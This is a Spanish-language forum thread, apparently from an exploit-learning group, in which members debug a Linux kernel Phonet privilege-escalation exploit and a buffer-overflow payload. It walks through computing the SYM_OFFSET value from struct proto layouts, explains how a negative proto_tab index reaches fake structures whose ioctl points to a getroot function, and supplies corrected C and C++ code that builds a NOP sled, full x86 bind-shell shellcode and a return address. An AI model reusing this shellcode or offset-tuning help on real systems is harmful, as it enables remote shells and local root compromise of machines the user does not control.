Exactamente! Mejor explicado imposible.

neeee, hubieses empezado por ahi!!

La idea es buscar cuantos bytes tenes hasta el campo char name[32] y eso se le mandas como offset.

Para eliminar cualquier ambigüedad que pueda haber con el horario:

Jueves 10 a las 21hs CET time!

O sea siempre y cuando esten todos de acuerdo.

ahi te mande un pm.

Bueno, tero_34 y CL1O no me han contactado ni por pm . Belial trata de definir tu horario entre hoy y mañana si podes por favor. Viendo maso los horarios y siendo dificil encontrar un horario comun entre varias personas, les parece si fijamos este Jueves 10 a las 21hs? Snaking y alex podrian hacer un esfuerzo o se les complica mucho?.

Deberia serlo entonces, sobre todo si te cuelga la maquina xD. Ahi me fije y si, deberia ser vulnerable el tuyo.
Debes tener un problema de offset tambien, probaste compilando el codigo que le pase m3st4ng para obtener el offset?

Si mirando /proc/kallsyms y por como el exploit aprovecha el error. El error me cuesta un poco explicarlo pero te muestro con un ejemplo sino, imaginate que tenes un arreglo de punteros a chars

char *proto_tab[3];

Y que mas tarde tenes una funcion que hace esto

char *ptr = proto_tab[index];
 

Y ponete a pensar que pasa si index es negativo, a donde apuntaria ptr?.

Ahi modifique el codigo para que obtengas un offset segun las config de tu kernel y ademas saque la definicion de proto del source del build de mi kernel que resulto ser un poco diferente al codigo que te puse antes (la idea seria que vos las saques del tuyo).

#include <linux/autoconf.h>
#include <stdio.h>
 
#define CONFIG_COMPAT 1
 
struct proto {
	void *ptr_1[10];
#ifdef CONFIG_COMPAT
	void *ptr_2[2];
#endif
	void *ptr_3[8];
#ifdef CONFIG_PROC_FS
	unsigned int		inuse_idx;
#endif
	void *ptr_4[7];
	int			max_header;
	void *ptr_5[5];
	unsigned int		obj_size;
	int			slab_flags;
	// char name[32];
};
 
int main() {
	printf("#define SYM_OFFSET 0x%x\n", sizeof(struct proto));
}
 

Compilalo asi

gcc -I/lib/modules/`uname -r`/build/include test.c
 

Te cuento que lo compile y con CONFIG_COMPAT definida me dio 0x90, lo mismo que en el exploit. Si te da lo mismo, proba sacar el define CONFIG_COMPAT.

Bueno, fijate compilando ese codigo y contanos.

Si queres sacar exactamente el offset correcto no se me ocurre otra que dumpear la memoria virtual del kernel.

@andres_5:
Podes poner la version del kernel que tenes? Pegate la salida de

uname -r

Porq el error lo parchearon el 10 de enero.

Hola Sagrini,

La debes tener dos veces porq primero la recibis en buffer y despues llamas a handle_connect que la copia a buff.
Otro detalle, tene cuidado cuando armas el payload

	char nops [168];
	memset (nops, '\x90', 168);
	puts (nops);
	char shellcode [93] = 	"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
				"\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
				"\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
				"\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
				"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
				"\xcd\x80";
	char ret [6] = 	"AAAA\x90";
	char command [265];
	strcpy (command, nops);
	strcat (command, shellcode);
	strcat (command, ret);
 

Si usas memset, el caracter nulo que marca el final del string no te lo agrega.

	char nops [168];
	memset (nops, '\x90', 168);
 

Y despues strcpy o strcat hacen cualquier cosa. Cuando inicializas los char [] no hay problema, el compilador te los agrega automaticamente.

Aca te lo pase en limpio (en c++) espero que te sirva

#include <iostream>
 
using namespace std;
 
int main (int argc, char *argv [])
{
	string nops(168, '\x90');
 
	string shellcode("\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
				"\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
				"\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
				"\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
				"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
				"\xcd\x80");
 
	string ret("AAAA\x90");
 
	string command(nops + shellcode + ret);
 
	cout << command;
 
	return 0;
}
 

Lo podes verificar con hexdump si queres

$./a.out | hexdump -v
 

Saludos

M3st4ng,

Capaz que no me explique muy bien. Para resumir el valor que necesitas ponerle a SYM_OFFSET lo podes sacar asi:

#include <iostream>
 
using namespace std;
 
#define CONFIG_COMPAT 1
#define CONFIG_PROC_FS 1
 
struct proto {
	void *ptrs_1[10];
#ifdef CONFIG_COMPAT
	void *ptrs_2[3];
#endif
	void *ptrs_3[10];
#ifdef CONFIG_PROC_FS
	unsigned int		inuse_idx;
#endif
	void *ptrs_4[7];
	int			max_header;
	bool			no_autobind;
	void *ptrs_5;
	unsigned int		obj_size;
	int			slab_flags;
	void *ptrs_6[5];
	// char			name[32];
};
 
int main() {
	cout << "#define SYM_OFFSET 0x" << hex << sizeof(struct proto) << endl;
}
 

Compilalo con g++, ejecutalo y proba con el valor que te tire.

Los punteros que le agregue los conte de la estructura proto que tengo definida en include/net/sock.h:726, te la pego aca para que la puedas comparar con la tuya.

struct proto {
	void			(*close)(struct sock *sk, 
					long timeout);
	int			(*connect)(struct sock *sk,
				        struct sockaddr *uaddr, 
					int addr_len);
	int			(*disconnect)(struct sock *sk, int flags);
 
	struct sock *		(*accept) (struct sock *sk, int flags, int *err);
 
	int			(*ioctl)(struct sock *sk, int cmd,
					 unsigned long arg);
	int			(*init)(struct sock *sk);
	void			(*destroy)(struct sock *sk);
	void			(*shutdown)(struct sock *sk, int how);
	int			(*setsockopt)(struct sock *sk, int level, 
					int optname, char __user *optval,
					unsigned int optlen);
	int			(*getsockopt)(struct sock *sk, int level, 
					int optname, char __user *optval, 
					int __user *option);  	 
#ifdef CONFIG_COMPAT
	int			(*compat_setsockopt)(struct sock *sk,
					int level,
					int optname, char __user *optval,
					unsigned int optlen);
	int			(*compat_getsockopt)(struct sock *sk,
					int level,
					int optname, char __user *optval,
					int __user *option);
	int			(*compat_ioctl)(struct sock *sk,
					unsigned int cmd, unsigned long arg);
#endif
	int			(*sendmsg)(struct kiocb *iocb, struct sock *sk,
					   struct msghdr *msg, size_t len);
	int			(*recvmsg)(struct kiocb *iocb, struct sock *sk,
					   struct msghdr *msg,
					size_t len, int noblock, int flags, 
					int *addr_len);
	int			(*sendpage)(struct sock *sk, struct page *page,
					int offset, size_t size, int flags);
	int			(*bind)(struct sock *sk, 
					struct sockaddr *uaddr, int addr_len);
 
	int			(*backlog_rcv) (struct sock *sk, 
						struct sk_buff *skb);
 
	/* Keeping track of sk's, looking them up, and port selection methods. */
	void			(*hash)(struct sock *sk);
	void			(*unhash)(struct sock *sk);
	void			(*rehash)(struct sock *sk);
	int			(*get_port)(struct sock *sk, unsigned short snum);
	void			(*clear_sk)(struct sock *sk, int size);
 
	/* Keeping track of sockets in use */
#ifdef CONFIG_PROC_FS
	unsigned int		inuse_idx;
#endif
 
	/* Memory pressure */
	void			(*enter_memory_pressure)(struct sock *sk);
	atomic_long_t		*memory_allocated;	/* Current allocated memory. */
	struct percpu_counter	*sockets_allocated;	/* Current number of sockets. */
	/*
	 * Pressure flag: try to collapse.
	 * Technical note: it is used by multiple contexts non atomically.
	 * All the __sk_mem_schedule() is of this nature: accounting
	 * is strict, actions are advisory and have some latency.
	 */
	int			*memory_pressure;
	long			*sysctl_mem;
	int			*sysctl_wmem;
	int			*sysctl_rmem;
	int			max_header;
	bool			no_autobind;
 
	struct kmem_cache	*slab;
	unsigned int		obj_size;
	int			slab_flags;
 
	struct percpu_counter	*orphan_count;
 
	struct request_sock_ops	*rsk_prot;
	struct timewait_sock_ops *twsk_prot;
 
	union {
		struct inet_hashinfo	*hashinfo;
		struct udp_table	*udp_table;
		struct raw_hashinfo	*raw_hash;
	} h;
 
	struct module		*owner; // 41 ptrs until here
 
	char			name[32];
 
	struct list_head	node; // include/linux/types.h  2 ptrs
#ifdef SOCK_REFCNT_DEBUG
	atomic_t		socks; // include/linux/types.h  1 int
#endif
};
 

Proba y avisanos como te fue!

Se me acaba de ocurrir que sea posible que justo al offset pn_proto + SYM_OFFSET exista el valor SYM_ADDRESS y de esa manera referenciar las estructuras falsas! De hecho ahi me fije y mirando bien encontre algo interesante:

SYM_ADDRESS =  0x4e4f4850 pasandolo a ascii (sisi a ascii!) ===> "NOHP" ... "PHON" en little endian

Y mirando pn_proto

static struct proto pn_proto = {
	.close		= pn_sock_close,
        [...]
	.name		= "PHONET", // aca esta lo que busca con SYM_OFFSET!
};
 

Mirando la estructura proto:

struct proto {
	void			(*close)(struct sock *sk, 
					long timeout);
       [...]
#ifdef CONFIG_COMPAT
	int			(*compat_setsockopt)(struct sock *sk,
					int level,
					int optname, char __user *optval,
					unsigned int optlen);
       [...]
#endif
 
       [...]
 
#ifdef CONFIG_PROC_FS
	unsigned int		inuse_idx;
#endif
 
	struct module		*owner;
 
	char			name[32];
 
       [...]
};
 

Si cuando se compilo tu kernel esas macros que se ven estaban activadas habria que contar la cantidad de bytes que tenes hasta name y ponerle ese valor a SYM_OFFSET.

Sinceramente muy bueno lo de Joe Sylve usando el string "PHONET" para referenciar sus estructuras. Comparado al exploit de Rosenberg, le cago a cachetadas , le tiro una onda "Rose, dejame a mi que vos no tenes ni idea" jaja.

mmh, estuve viendo y no llego a nada concreto,

proto = -((proto_tab - low_kern_sym) / sizeof(void *));

Pasado en limpio:

proto = -((proto_tab - (pn_proto + SYM_OFFSET)) / sizeof(void *));

Da la impresion que trata de referenciar la estructura pn_dgram_proto (net/phonet/datagram.c:200) que esta justo despues de pn_proto. Con
proto_tab - (pn_proto +SYM_OFFSET) llevas el puntero proto_tab[] 70 lugares mas arriba (direcciones bajas) justo despues de pn_proto para apuntar a pn_dgram_proto que es una estructura de tipo phonet_protocol, o sea que en teoria deberia pasar todas las verificaciones correctamente.
Si esa es la idea entonces lo que puede pasar es que tu SYM_OFFSET no se corresponda con tu driver. El valor que le tenes que meter es el tamaño de pn_proto (include/net/sock.h:726). Igual no estoy seguro porque si quisiese agarrar un puntero a pn_dgram_proto ya lo habria sacado desde /proc/kallsyms directamente evitandose la macro SYM_OFFSET.

Por eso sigo confundido, todavia no se como hace para que se referencien las estructuras falsas a partir de la dir SYM_ADDRESS. Porque por lo que pude entender es esa la idea, las estructuras son las mismas que las variables phonet_dgram_ops (net/phonet/socket.c:461) y pn_dgram_proto (net/phonet/datagram.c:200). Y encima estan bien armadas para pasar las verificaciones (try_module(), sock_type, etc) agarrando un puntero a pn_proto y falsificando el otro puntero para cambiar la ioctl:

    const struct proto_ops_skel fake_proto_ops2 = {
            .family     = AF_PHONET,   
            .ioctl      = &getroot,
    };     
 
    struct phonet_protocol_skel pps = {
            .ops = (void *) &fake_proto_ops2,
            .prot = (void *) pn_proto,
            .sock_type = SOCK_DGRAM,
    };

Seguire viendo a ver si llego a algo...